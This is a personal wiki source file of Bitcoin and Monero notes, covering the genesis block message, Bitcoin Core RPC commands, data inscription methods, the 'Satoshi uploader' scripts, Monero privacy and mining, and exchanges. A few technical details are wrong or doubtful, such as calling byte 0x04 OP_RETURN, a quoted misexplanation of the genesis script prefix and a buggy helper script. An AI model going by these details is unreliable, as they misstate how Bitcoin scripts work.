{parent=Satoshi Nakamoto}
{wiki}

= Hal Finney
{c}
{synonym}

= Martti Malmi
{c}
{parent=Satoshi Nakamoto}
{wiki}

* https://twitter.com/marttimalmi

= Nick Szabo
{c}
{parent=Satoshi Nakamoto}
{wiki}

= bit gold
{c}
{parent=Nick Szabo}

= Wei Dai
{c}
{parent=Satoshi Nakamoto}
{title2=戴维}
{wiki}

= b-money
{c}
{parent=Wei Dai}

= Bitcoin whitepaper
{c}
{parent=Satoshi Nakamoto}

Released by <Satoshi Nakamoto> on the early <mailing list> discussions where <Bitcoin> was announced.

Reuploaded into the blockchain itself: https://bitcoin.stackexchange.com/questions/35959/how-is-the-whitepaper-decoded-from-the-blockchain-tx-with-1000x-m-of-n-multisi/105574#105574 by using the <Satoshi uploader>.

More conveniently available at: https://bitcoin.org/bitcoin.pdf nowadays.

= Bitcoin entrepreneur
{c}
{parent=Bitcoin community}

= Bitcoin investor
{c}
{parent=Bitcoin community}

\Video[https://www.youtube.com/watch?v=2hZ-Q9QTL2s]
{title=What Happened When Bitcoin Made People Rich Quickly? by <VICE News> (2022)}
{description=Meh, too long and not many cool things.}

= Erik Finman
{c}
{parent=Bitcoin investor}
{title2=Teenage Bitcoin millionaire}

https://www.unilad.com/technology/erik-finman-bitcoin-12-year-old-millionaire-invest-798094-20231207
\Q[
In 2011, Finman made a deal with his parents that he would not pursue a college degree as he wanted to make his fortune outside of traditional education.

After receiving \$1,245 from his grandmother that year, Finman invested into Bitcoin (BTC) - which was then trading at around \$12 - and this gave him about 103 BTC.
]

= Erik Finman thinks school is broken
{c}
{parent=Erik Finman}

https://archive.ph/fYpC1
\Q[The way the education system is structured now, I wouldn't recommend it, It doesn't work for anyone. I would recommend the <Internet>, which is all free. You can learn a million times more off <YouTube> and <Wikipedia>.]

= Davinci Jeremie
{c}
{parent=Bitcoin investor}

\Video[https://www.youtube.com/watch?v=Cw29h7LhEuE]
{title=Just buy \$1 worth of <Bitcoin> please! by Davinci Jeremie (2013)}

= Sup!?
{c}
{disambiguate=Bitcoin-based social media}
{parent=Bitcoin}
{title2=Satoshi Universal Protocol}

https://github.com/embiimob/Sup

\Video[https://www.youtube.com/watch?v=cr6XjUrmmNY]
{title=Sup!? Buying, Listing and Offers by <EMBII>}

= Bitcoin protocol
{parent=Bitcoin}

https://en.bitcoin.it/wiki/Protocol_documentation

= Bitcoin protocol data type
{c}
{parent=Bitcoin protocol}

= Bitcoin varint
{c}
{parent=Bitcoin protocol data type}

https://en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer

Implementations:
* <Python>: https://github.com/alecalve/python-bitcoin-blockchain-parser/blob/c06f420995b345c9a193c8be6e0916eb70335863/blockchain_parser/utils.py#L41[]. Sample usage to extract 3 values from a `bytes` object:
  ``
  file, off = decode_varint(value)
  blk_off, off = decode_varint(value[off:])
  tx_off, off = decode_varint(value[off:])
  ``

= Bitcoin transaction
{c}
{parent=Bitcoin protocol}

= Bitcoin address
{c}
{parent=Bitcoin transaction}

= 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS
{parent=Bitcoin address}

The fee/change address of <Cool data embedded in the Bitcoin blockchain/cryptograffiti.info>.

= Coinbase transaction
{parent=Bitcoin transaction}

The first transaction of each <Bitcoin block> is called the "coinbase transaction", and it is magic as it does not need to point to a previous <output script> and have a valid <input script> as it serves as a <Block reward> for <miner (cryptocurrency)>[miners].

= Coinbase message
{parent=Coinbase transaction}
{tag=Bitcoin inscription method}
{tag=Miner message}

The <input script> of the <Coinbase transaction> can be anything, and this can be used as a <Bitcoin inscription method>.

Notable examples:
* <Genesis block message>
* Prayer side of the <Cool data embedded in the Bitcoin blockchain/Prayer wars>

= Bitcoin block
{c}
{parent=Bitcoin protocol}
{wiki}

= List of bitcoin blocks
{parent=Bitcoin block}

= Genesis block
{c}
{parent=List of Bitcoin blocks}
{title2=2009-01-03}
{wiki}

= Bitcoin block 0
{synonym}
{title2}

* https://www.blockchain.com/explorer/blocks/btc/0
* https://blockchain.info/block-height/0?format=json
* https://en.bitcoin.it/wiki/Genesis_block contains some comments on the data.

= Genesis block message
{c}
{parent=Genesis block}
{tag=Coinbase message}
{title2=2009-01-03}
{wiki}

<Inscription (blockchain)> added by <Satoshi Nakamoto> on the <Genesis block> containing:
\Q[The Times 03/Jan/2009 Chancellor on brink of second bailout for banks ]
which is a reference to: https://www.thetimes.co.uk/article/chancellor-alistair-darling-on-brink-of-second-bailout-for-banks-n9l382mn62h wihch is fully titled:
\Q[Chancellor Alistair Darling on brink of second bailout for banks]
The "Alistair" was slikely removed due to limited payload concerns.

Through the newspaper reference, the message proves a minimal starting date for the first mine.

And it hints that one of <Bitcoin>'s motivation was the <financial crisis of 2007-2008>, where banks were given bailouts by the government to not go under, which many people opposed as the crisis was their own fault in the first place. A notable related stab is taken at <cool data embedded in the bitcoin blockchain/Len Sassaman tribute>.

We can extract the image from the blockchain ourselves by starting from: https://blockchain.info/block-height/0?format=json[].

From that page we manually extract the hash `000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f` and then:
``
wget -O 0.hex https://blockchain.info/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f?format=hex
xxd -p -r 0.hex
``
and that does contain the famous genesis block string:
``
EThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks
``
The JSON clarifies that the data is encoded in the `script` field of the transaction `input`:
``
{
      {
         "script":"04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73"
``

The extra `E` (0x45 in <ASCII>) in `EThe Times` is just extra noise required by the script, we can break things up as:
``
04ffff001d0104 45 5468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73
``
where:
* `54` is `T`
* the `04ffff001d0104` part just doesn't show up on the terminal because it is not made of any printable characters.

The initial `04` is `OP_RETURN`.

TODO what is actual the meaning of the `ffff001d010445` part? `@defango` https://twitter.com/defango/status/1642750851134652417 comments:
\Q[
04ffff001d0104 is a hexadecimal string. It is commonly used in the Bitcoin network as a part of the mining process. Specifically, it is used as the target value for a block to be considered valid by the Bitcoin network.

This value represents the level of difficulty required for a miner to generate a block that meets the network's criteria. The first four bytes, 04ffff, represent the maximum possible target value. The next three bytes, 001d01, represent the current difficulty level

while the final byte, 04, is a padding byte. In summary, this value sets the difficulty level for mining a new block in the Bitcoin network.
]

TODO the `output` of the transaction has a jumbled script, likely just a regular output to get things going, can't be arbitrary like input.

= Satoshi tribute
{c}
{parent=Genesis block}

\Image[https://web.archive.org/web/20230214064329if_/https://miro.medium.com/v2/resize:fit:640/format:webp/1%2ABPzmT_vGzBiC1oAq0Fnvgw.jpeg]
{source=https://medium.com/@chain.info1/the-mystery-behind-satoshi-tribute-donations-cf4ce28c56a1}

* https://medium.com/@chain.info1/the-mystery-behind-satoshi-tribute-donations-cf4ce28c56a1 The Mystery Behind "Satoshi Tribute" Donations by Chain.Info (2020)

= First block not mined by Satoshi
{c}
{parent=List of Bitcoin blocks}
{wiki}

= Bitcoin block 78
{synonym}
{title2}

https://www.blockchain.com/explorer/blocks/btc/78

= Bitcoin implementation
{c}
{parent=Bitcoin}

= Bitcoin blockchain parser
{c}
{parent=Bitcoin implementation}

This section is about partial implementations that are only able to read the blocks, ususally coming from <Bitcoin Core>, to interpret the data.

= python-bitcoin-blockchain-parser
{c}
{parent=Bitcoin blockchain parser}

https://github.com/alecalve/python-bitcoin-blockchain-parser

Is it mega fast? Nope

Does it work? Yup.

Used on <Bitcoin Inscription Indexer> for <Ciro's Bitcoin Inscription Museum>.

= Bitcoin Core
{c}
{parent=Bitcoin implementation}

Reference implementation?

Links:
* https://github.com/bitcoin/bitcoin
* https://bitcoin.org

Executables provided:
* `bitcoin-qt`

= Bitcoin Core executable
{parent=Bitcoin Core}

= Bitcoin daemon
{parent=Bitcoin Core executable}

= bitcoind
{synonym}
{title2}

Runs just a headless Bitcoin server.

You can then interact with it via the <Bitcoin CLI client>.

On <Bitcoin Core snap> 26.0, the executable is called `bitcoin-core.daemon` rather than `bitcoind`

= Bitcoin RPC command
{parent=Bitcoin daemon}

These are commands that e.g. the <Bitcoin CLI client> can make to the server.

https://bitcoincore.org/en/doc/22.0.0/rpc/rawtransactions/getrawtransaction/

The commands can be listed with:
``
bitcoin-core.cli help
``
and full help with:
``
bitcoin-core.cli help getrawtransaction
``

For example. to run the <Bitcoin `getrawtransaction` command>, first in one shell we start <bitcoind>:
``
bitcoin-core.daemon
``
and then on another shell:
``
bitcoin-core.cli getrawtransaction 75b431e0a8c4617ca8adefe593ba66aa30907742b6dc8772761bfe7edabd74b4 true
``

= Bitcoin `getrawtransaction` command
{parent=Bitcoin RPC command}

= Bitcoin CLI client
{c}
{parent=Bitcoin Core executable}
{tag=Command line utility}

= `bitcoin-cli`
{c}
{synonym}
{title2}

On <Bitcoin Core snap> 26.0, the executable is called `bitcoin-core.cli` rather than `bitcoin-cli`.

= Bitcoin Core snap
{parent=Bitcoin Core executable}

Officially supported installation method on <Ubuntu 23.10>.

= Bitcoin Core data layout
{c}
{parent=Bitcoin Core executable}

Bibliography:
* https://bitcoindev.network/understanding-the-data/

= Bitcoin Core txindex
{c}
{parent=Bitcoin Core data layout}

TODO format???
* https://bitcoin.stackexchange.com/questions/121888/what-is-the-data-format-layout-for-txindex-leveldb-values
* https://bitcointalk.org/index.php?topic=1068721.0

= How to store data in the Bitcoin blockchain
{parent=Bitcoin}

There are apparently two methods:
* in the script, e.g. as in the <Genesis block message>
* in output addresses

Specific implementations:
* http://eternitywall.it/ Eternity Wall

  Launched 2015 https://www.newsbtc.com/news/bitcoin/eternity-wall-records-1150-documents-blockchain-first-year/

  TODO find sample transactions. Did it support images?

  Shutdown sometime after 2019, working archive: https://web.archive.org/web/20190417074034/https://eternitywall.it/ says "Sorry, the service is not properly working at the moment..." and last working message timestamped "April 16, 2019 8:02 PM GMT".

Bibliography:
* https://bitcoin.stackexchange.com/questions/32575/what-methods-are-currently-used-to-embed-additional-data-into-the-bitcoin-blockc
* https://bitcoin.stackexchange.com/questions/39347/how-to-store-data-on-the-blockchain

= How to extract data from the Bitcoin blockchain
{parent=Bitcoin}

TODO: it would be cool to have something like https://bitcoinstrings.com[] but including the actual transactions:

Local methods:
* <bitcoin-inscription-indexer>
* https://bitcoin.stackexchange.com/questions/30295/how-can-i-search-for-transaction-text-on-the-blockchain
* https://bitcoin.stackexchange.com/questions/22500/is-there-a-lightweight-blockchain-parser-library-server/101472#101472
* https://github.com/alecalve/python-bitcoin-blockchain-parser
* https://bitcoin.stackexchange.com/questions/84266/wondering-how-to-use-bitcoin-parser
* https://github.com/bitcoinprivacy/Bitcoin-Graph-Explorer stores the blockchain in a database, and should allow more intelligent querying.

Further bibliography:
* https://bitcoin.stackexchange.com/questions/799/can-i-download-the-whole-block-chain-from-somewhere
* https://bitcoin.stackexchange.com/questions/68925/how-can-data-be-accessed-searched-for-in-a-blockchain
* https://bitcoin.stackexchange.com/questions/55188/download-single-and-specific-block-for-study-purposes
* https://www.fiverr.com/usefulshine/embed-your-logo-or-brand-art-on-blockchain user usefulshine from India embeds ASCII art for you into the blockchain starting at 260 dollars! XD

= Blockchain explorer
{parent=How to extract data from the Bitcoin blockchain}

= Blockchair
{parent=Blockchain explorer}

https://blockchair.com/

Very good explorer, you can create several complex queries on it e.g.
* https://bitcoin.stackexchange.com/questions/121718/fnd-the-most-valuable-transactions-made-to-a-given-address/121719#121719
* https://bitcoin.stackexchange.com/questions/71019/filter-transactions-by-time-on-a-given-address/121720#121720

= Blockchain.info
{parent=Blockchain explorer}

TODO who owns it? Are they reliable?

* transaction hex data: https://blockchain.info/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72?format=hex
* disassembled transaction as JSON: https://blockchain.info/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72?format=json
* block by height:
  * https://blockchain.info/block/0?format=json
  * https://blockchain.info/block/0?format=hex

This helper dumps a transaction JSON to a binary:
``
bitcoin-tx-out-scripts() (
    # Dump data contained in out scripts. Remove first 3 last 2 bytes of
    # standard transaction boilerplate.
    h="$1"
    echo curl "https://blockchain.info/tx/${h}?format=json" |
    jq '.out[].script' tmp.json |
    sed 's/"76a914//;s/88ac"//' |
    xxd -r -p > "${h}.bin"
)
``

= Bitcoin Inscription Indexer
{c}
{parent=How to extract data from the Bitcoin blockchain}

= bitcoin-strings-with-txids
{c}
{synonym}
{title2}

https://github.com/cirosantilli/bitcoin-inscription-indexer

Previously called "bitcoin-strings-with-txids" since text was the initial focus, but <Ciro Santilli> decided to go for the more general name once images became more and more important to the project.

Set of scripts b <Ciro Santilli>, primarily created while researching <Cool data embedded in the Bitcoin blockchain>.

= BitcoinStrings.com
{parent=How to extract data from the Bitcoin blockchain}

https://bitcoinstrings.com has all `strings -n20` strings, we can obtain the whole thing and clean it up a bit with:
``
wget -O all.html https://bitcoinstrings.com/all
cp all.html all-recode.html
recode html..ascii all-recode.html
awk '!seen[$0]++' all-recode.html > all-uniq.html
``
`awk` to skip the gazillion "mined by message" repeats.

A lot of in that website stuff appears to be cut up at the 20 mark. As shown in <cool data embedded in the bitcoin blockchain/Force of Will>, this is possibly because they didn't use `-w` in `strings -n20`, and the text after the newlines was less than 20 characters.

That website can be replicated by downloading the <Bitcoin> blockchain locally, then:
``
cd .bitcoin/blocks
for f in blk*.dat; do strings -n20 -w $f | awk '!seen[$0]++' > ${f%.dat}.txt; done
tail +n1 *.txt
``

Remove most of the binary crap:
``
head -n-1 *.txt | grep -e '[. ]' | grep -iv 'mined by' | less
``

= Satoshi uploader
{c}
{parent=How to extract data from the Bitcoin blockchain}
{tag=P2FMS}

See also: https://bitcoin.stackexchange.com/questions/35959/how-is-the-whitepaper-decoded-from-the-blockchain-tx-with-1000x-m-of-n-multisi/105574#105574

By "Satoshi uploader" we mean the data upload script present in tx https://www.blockchain.com/btc/tx/4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17[4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17] of the <Bitcoin blockchain>.

The uploader, and its accompanying downloader, are <Python> programs stored in the blockchain itself. They are made to upload and download arbitrary data into the blockchain via RPC.

These scripts were notably used for: <cool data embedded in the bitcoin blockchain/illegal content of block 229k>. The script did not maintain its popularity much after this initial surge up loads, likely all done by the same user: there are very very few uploads done after block 229k with the Satoshi uploader.

Our choice of name as "Satoshi uploader" is copied from <cool data embedded in the bitcoin blockchain/A Quantitative Analysis of the Impact of Arbitrary Blockchain Content on Bitcoin by Matzutt et al. (2018)> because the scripts are Copyrighted Satoshi Nakamoto on the header comment, although as mentioned at <cool data embedded in the bitcoin blockchain/Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014)> this feels very unlikely to be true.

A more convenient version of those scripts that can download directly from <blockchain.info> without the need for a full local node can be found at: https://github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/download_tx_consts.py by using the `--satoshi` option. E.g. with it you can download the uploader script with:
``
./download_tx_consts.py --satoshi 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17
mv 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17.bin uploader.py
``

The scripts can be found in the blockchain at:
* uploader: tx 4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17 block 229991 reproduced at: https://gist.github.com/cirosantilli/ade4dde7c2f2f5020d792872681763e8

  The uploader https://gist.github.com/cirosantilli/ade4dde7c2f2f5020d792872681763e8#file-bitcoin-insertion-tool-py-L161[creates a standard Pay-to-PubkeyHash transaction] with a single output and data as a fake pubkey hash, and sends change to an address specified on the command line:
  ``
  ./bitcoinInsertionTool.py <data> <change-addr>
  ``
* downloader: tx 6c53cd987119ef797d5adccd76241247988a0a5ef783572a9972e7371c5fb0cc block 229991 reproduced at https://gist.github.com/cirosantilli/e90bd2e6c3fab25a20898e61e3ab3e90

  The downloader just https://gist.github.com/shirriff/64f48fa09a61b56ffcf9#file-bitcoin-file-downloader-py-L32[strips all operands], and keeps all data, notably where public key hashes would be normally put.

The uploader script uses its own cumbersome data encoding format, which we call the "Satoshi uploader format". The is as follows:
* ignore all script operands and constants less than 20 bytes (40 hex characters). And there are a lot of small operands, e.g. the uploader itself uses format https://www.blockchain.com/btc/tx/4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17 has a `OP_1`, data, `OP_3`, `OP_CHECKMULTISIG` pattern on every output script, so the `OP_1` and `OP_3` are ignored. I.e., it is <P2FMS>.
* ignore the last output, which contains a real change transaction instead of arbitrary data. TODO why not just do what with the length instead?
* the first 4 bytes are the payload length, the next 4 bytes a <CRC-32> signature. The payload length is in particular useful because of possible granularity of transactions. But it is hard to understand why a CRC-32 is needed in the middle of the largest <hash tree> ever created by human kind!!! It does however have the adavantage that it allows us to more uniquely identify which transactions use the format or not.
This means that if we want to index certain file types encoded in this format, a good heuristic is to skip the first 9 bytes (4 size, 4 CRC, 1 `OP_1`) and look for file signatures.

Let's try out the downloader to download itself. First you have to be running a <Bitcoin Core> server locally. Then, supposing `.bitcon/bitoin.conf` containing:
``
rpcuser=asdf
rpcpassword=qwer
server=1
txindex=1
``
we run:
``
git clone git://github.com/jgarzik/python-bitcoinrpc.git
git -C python-bitcoinrpc checkout cdf43b41f982b4f811cd4ebfbc787ab2abf5c94a
wget https://gist.githubusercontent.com/shirriff/64f48fa09a61b56ffcf9/raw/ad1d2e041edc0fb7ef23402e64eeb92c045b5ef7/bitcoin-file-downloader.py
pip install python-bitcoinrpc==1.0
BTCRPCURL=http://asdf:qwer@127.0.0.1:8332 \
  PYTHONPATH="$(pwd)/python-bitcoinrpc:$PYTHONPATH" \
  python3 bitcoin-file-downloader.py \
  6c53cd987119ef797d5adccd76241247988a0a5ef783572a9972e7371c5fb0cc
``
worked! The source of the downloader script is visible! Note that we had to wait for the sync of the entire blockchain to be fully finished for some reason for that to work.

Other known uploads in Satoshi format except from the first few:
* tx 89248ecadd51ada613cf8bdf46c174c57842e51de4f99f4bbd8b8b34d3cb7792 block 344068 see <ASCII art>
* tx 1ff17021495e4afb27f2f55cc1ef487c48e33bd5a472a4a68c56a84fc38871ec contains the ASCII text `e5a6f30ff7d43f96f61af05efaf96f869aa072b5a071f32a24b03702d1dcd2a6`. This number however is not a known transaction ID in the blockchain, and has no Google hits.

= Peter Todd's data upload scripts
{parent=Satoshi uploader}
{tag=Peter Todd}

https://github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/in/0349.txt#L1930[tx 243dea31863e94dc2f293489db02452e9bde279df1ab7feb6e456a4af672156a] contains another upload script. The help reads:
\Q[Publish text in the blockchain, suitably padded for easy recovery with strings]

The script is: https://github.com/petertodd/python-bitcoinlib/blob/master/examples/publish-text.py

= Bitcoin blockchain `j(` upload system
{parent=How to extract data from the Bitcoin blockchain}

This is likely a system that uploads text to the blockchain.

One example can be seen on the <cool data embedded in the bitcoin blockchain/marijuana plant>.

Messages are uploaded one line per transaction, and thus may be cut up on the blk.txt, and possibly even out of order.

But because each line starts with `j(` you can generally piece things up regardless.

TODO identify. The first occurrence seems to be in tx e8c61e29c6b829e289f8d0fc95f9eb2eb00c89c85cfa3a9c700b15805451ae6a:
``
j(DOCPROOF@?pnvf=!;AG
``

= Services based on Bitcoin
{parent=Bitcoin}

= Satoshi Dice
{c}
{parent=Services based on Bitcoin}

https://en.bitcoin.it/wiki/Satoshi_Dice

Claims provably fair. https://satoshidice.com/fair clarifies what that means: they prove fairness by releasing a hash of the seed before the bets, and the actual seed after the bets.

As mentioned in bitcoin.it, it functions basically as <cryptocurrency tumbler> in practice.

= Bitcoin inscription
{c}
{parent=Bitcoin}
{tag=Inscription (blockchain)}

\Include[cool-data-embedded-in-the-bitcoin-blockchain]

= Bitcoin inscription bibliography
{parent=Bitcoin inscription}

https://en.wikipedia.org/wiki/History_of_bitcoin#Arbitrary_blockchain_content

= Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl
{parent=Bitcoin inscription bibliography}
{title2=2017}

* https://digitalcommons.augustana.edu/cscfaculty/1/ Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl from Augustana College (July 2017). Related inscription by the authors: <cool data embedded in the bitcoin blockchain/code Study Math and Computer Science at Augustana College>.

= A Quantitative Analysis of the Impact of Arbitrary Blockchain Content on Bitcoin
{parent=Bitcoin inscription bibliography}
{title2=2018}
{tag=Paper without code}

https://fc18.ifca.ai/preproceedings/6.pdf

= A Journey into Bitcoin Metadata by Livio Pompianu
{parent=Bitcoin inscription bibliography}
{title2=2019}

https://www.researchgate.net/publication/330385593_A_Journey_into_Bitcoin_Metadata

= Bitcoin inscription method
{parent=Bitcoin inscription}

= Fake P2PKH address
{parent=Bitcoin inscription method}

= P2FKH
{synonym}
{title2}

"P2FKH" terminology mentioned e.g. at: <Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl>.

= Pay-to-Fake-Multisig
{parent=Bitcoin inscription method}

= P2FMS
{synonym}
{title2}

"P2FMS" terminology mentioned e.g. at: <Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl>.

= Two-stage P2SH inscription
{parent=Bitcoin inscription method}

To decode these, we throw away the last tx and the last constant of each input, e.g.:
``
btc getrawtransaction 033d185d1a04c4bd6de9bb23985f8c15aa46234206ad29101c31f4b33f1a0e49 true | jq -r '.vin[].scriptSig.asm' | head -n -1 | sed -r 's/ [^ ]+$//' | tr -d '\n'  | xxd -r -p > tmp.jpg
``

Terminology mentioned e.g. at: <Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl>.

= Daisy chain Bitcoin inscription
{parent=Bitcoin inscription method}

This is a term invented by <Ciro Santilli>, and refers to a loose set of uncommon <Bitcoin inscription methods> that involve inscribing one or a small number of payloads per <Bitcoin transaction>.

These methods are both inefficient and hard to detect and decode, partly because <Bitcoin Core> does not index spending transactions: https://bitcoin.stackexchange.com/questions/61794/bitcoin-rpc-how-to-find-the-transaction-that-spends-a-txo[]. This makes finding them all that more rewarding however.

On the other hand, they do have the advantage of not depending on any block size limits, as their individual transactions are very small.

Inscribing anything large would however take a very long time, as you'd have to wait until the previous payload chunk is confirmed before going to the next one. This alone makes the format impractical perhaps.

Known examples:
* <cool data embedded in the bitcoin blockchain/image Iranian lady with polar bear hat>
* <cool data embedded in the bitcoin blockchain/image The Economist logo>

= Input script inscription
{parent=Bitcoin inscription method}

Example: <cool data embedded in the bitcoin blockchain/code Study Math and Computer Science at Augustana College>.

A quick overview of some developments: https://research.aimultiple.com/ordinal-inscriptions-history/

= Bitcoin miner inscription
{c}
{parent=Bitcoin inscription}
{tag=Miner message}

= Ethereum
{c}
{parent=List of cryptocurrencies}
{wiki}

= Cardano
{c}
{parent=List of cryptocurrencies}
{wiki=Cardano_(blockchain_platform)}

This was getting very hot as of 2022 for some reason. Would be good to understand why besides the awesome name.

= Ouroboros
{disambiguate=protocol}
{c}
{parent=Cardano}

= Monero
{c}
{parent=List of cryptocurrencies}
{tag=Privacy coin}
{wiki}

= XMR
{c}
{synonym}
{title2}

Cryptocurrency with focus on <anonymity>. Was almost certainly the leading <privacy coin> since its inception until as of writing in the 2020s.

<Ciro Santilli> has received and held considerable quantities of <Monero>, notably <sponsor/1000 Monero donation>. so bias alert.

As mentioned at <Are cryptocurrencies useful?>{full}, <Ciro Santilli> believes that anonymity is the most valuable feature that really matters on crypto coins, and therefore if he were to invest in crypto, he would invest in Monero or some other <privacy coin>.

https://localmonero.co/knowledge/monero-stealth-addresses?language=en gives an overview of the privacy mechanisms:
* <ring signatures>, which hide the true output (sender)

  https://localmonero.co/knowledge/ring-signatures Gives an overview. Mentions that it is prone to heuristic attacks.

  Uses a system of decoys, that adds 10 fake possible previous outputs as inputs, in addition to the actual input.

  So the network only knows/verifies that one of those 11 previous outputs was used, but it does not know which one.

  It's a bit like having a built-in <cryptocurrency tumbler> in every transaction.

  TODO so how do you know which previous outputs were spent or not?
* RingCT which hides the amounts.
* stealth addresses, which hides who you send to

  This forces receivers to scan try and unlock every single transaction in the chain to see if it is theirs or not.

  The sender therefore can know when the money is spent, but once again, not to whom it is being sent.

Based on https://en.wikipedia.org/wiki/CryptoNote and like <Satoshi Nakamoto> created by under the pseudonym "Nicolas van Saberhagen" https://www.reddit.com/r/Monero/comments/7v2obe/offering_a_bounty_for_a_video_of_the_speech_by/

<Coinbase> has actually stayed away from trading it even as of 2019 when Monero was the third largest market capitalization crypto because of fear of regulatory slashback: https://decrypt.co/36731/heres-why-coinbase-still-hasnt-listed-monero[]. Although it must be said, the value of privacy crypto is greatly reduced when everyone is trading it on exchanges, which require a passport upload to work.

= Monero mining
{c}
{parent=Monero}

= Monero ASIC resistance
{c}
{parent=Monero mining}
{tag=ASIC}

TODO is it or is it not??? In any case, it is good to see devs actually trying it:
* https://www.coindesk.com/inside-moneros-last-ditch-effort-to-block-crypto-mining-asics
* https://news.bitcoin.com/report-claims-85-of-the-monero-network-dominated-by-asic-miners/
* https://www.reddit.com/r/CryptoTechnology/comments/xc5rxi/ok_but_how_is_monero_xmr_asicresistant/

<Googling> does not lead to any commercial ASICs on sale that is not just a <CPU> or as efficient as certain CPUs, so perhaps they've actually manged it!
* https://www.youtube.com/watch?v=shPrzH_loOg
* https://www.youtube.com/watch?v=oJMzWhAr8aI talks about the "Bitmain Antminer X5", but it's just a box with <CPU>s

= Monero GPU mining
{c}
{parent=Monero ASIC resistance}

Did <RandomX> really succeed? If so, they are true heroes.

* https://www.reddit.com/r/MoneroMining/comments/qzt5xt/noobie_here_is_mining_xmr_with_a_gpu_really_less/
* https://www.bitdegree.org/crypto/tutorials/monero-mining#mining-monero-with-a-graphics-processing-unit-gpu
* https://github.com/fireice-uk/xmr-stak

= RandomX
{c}
{parent=Monero mining}

https://www.getmonero.org/resources/moneropedia/randomx.html

\Q[This innovative POW is optimized for CPUs and it's based on execution of random code and other memory-heavy techniques.]

= How to mine Monero
{parent=Monero}

<Ubuntu> 20.10 as per https://xmrig.com/docs/miner/build/ubuntu[]:
``
sudo apt install git build-essential cmake libuv1-dev libssl-dev libhwloc-dev
git clone https://github.com/xmrig/xmrig.git
mkdir xmrig/build && cd xmrig/build
cmake ..
make -j$(nproc)
``
At https://minexmr.com/#getting_started we see that all you then need is a single CLI command:
``
xmrig -o pool.minexmr.com:4444 -u <your-monero-address>
``
Seems simple, well done devs!

Benchmark on <ciro santilli s hardware/Lenovo ThinkPad P51 (2017)> as per https://xmrig.com/docs/miner/benchmark[]:
``
./xmrig --bench=1M
``
gives:
``
948.1 h/s
``
which according to the https://minexmr.com <mining pool> would generate 0.0005 XMR/day, which at the February 2021 rate of 140 USD/XMR is 0.07 USD/day. The minimum payout in that pool is 0.004 XMR so it would take 8 days to reach that.

So clearly, <application-specific integrated circuit> mining is the only viable way of doing this.

Some people considering <Raspberry Pis> also conclude obviously that it is useless at a 10H/s rate:
* https://monero.stackexchange.com/questions/6862/could-i-use-a-raspberry-pi-to-mine-monero
* https://raspberrypi.stackexchange.com/questions/49552/the-hashrate-of-the-raspberry-pi-2-and-3/87252#87252

https://www.makeuseof.com/cryptos-you-can-mine-at-home/ is a completely full of bullshit article that says otherwise. How can someone publish that!

= Monero community
{c}
{parent=Monero}

= DontTraceMeBruh
{c}
{parent=Monero community}
{tag=Cool person}
{title2=Untraceable}

* https://twitter.com/DontTraceMeBruh
* https://untrxable.net/
* https://twitter.com/DontTraceMeBruh/status/1778377528748486754 claims retired in 2017 via <Bitcoin>

= Namecoin
{c}
{parent=List of cryptocurrencies}
{title2=2011}
{wiki}

= Cryptocurrency exchange
{parent=Cryptocurrency}
{wiki}

= Bitcoin exchange
{c}
{synonym}

= Off-chain transaction
{parent=Cryptocurrency exchange}

https://en.bitcoin.it/wiki/Off-Chain_Transactions

= List of cryptocurrency exchanges
{parent=Cryptocurrency exchange}

= Binance
{c}
{parent=List of cryptocurrency exchanges}
{wiki}

= Coinbase
{c}
{parent=List of cryptocurrency exchanges}
{wiki}

= Coinbase Bitcoin hello world
{c}
{parent=Coinbase}

Test buy 2023-04-10 in the <UK>:
* fee: 0.99 pounds, minimum buy: 1.99 pounds
* bought 10 pounds, minus 0.99 fee, totalled: 0.00039162 BTC (£8.92) presumably after further fees/spread
* bitcoin price on Google on that day: 22,777.54 GBP / BTC
* bitcoin transaction fees were about 2.7 BTC on that day

Sending 5 pounds to wallet `12dg2FaiZLp3VzDtLvwPinaKz41TQcEGbs`
* network fee: 0.00001989 BTC
* total bitcoin cost: -0.00023928 BTC
* new balance: 15,234 satoshi (39,162 - 23,928).
* total spent: £5.45
* time est.: about 30 minutes

This worked and I received 21939 satoshis (23928 - 1989) on <Electrum> on one of the outputs of transaction https://www.blockchain.com/explorer/transactions/btc/1177268091cbeaacbcaac5dc4f6d1774c4ec11b4bcffafa555cd2775eafb954c[1177268091cbeaacbcaac5dc4f6d1774c4ec11b4bcffafa555cd2775eafb954c].

Sending 1 satoshi back! The lowest fee in Electron is 1120 Satoshis targeting 25 blocks (4 hours). Let's do it. Failed, server forbids dust, minimum is 1000 satoshi. OK, sending 1000 satoshi, at 1139 fee.

= Mt. Gox
{c}
{parent=List of cryptocurrency exchanges}
{title2=July 2010}
{title2=First Bitcoin exchange}
{wiki}

The first <Bitcoin exchange>. Coded as a hack, and they didn't manage to fix the hacks as the site evolved in a major way, which led to massive hacks.

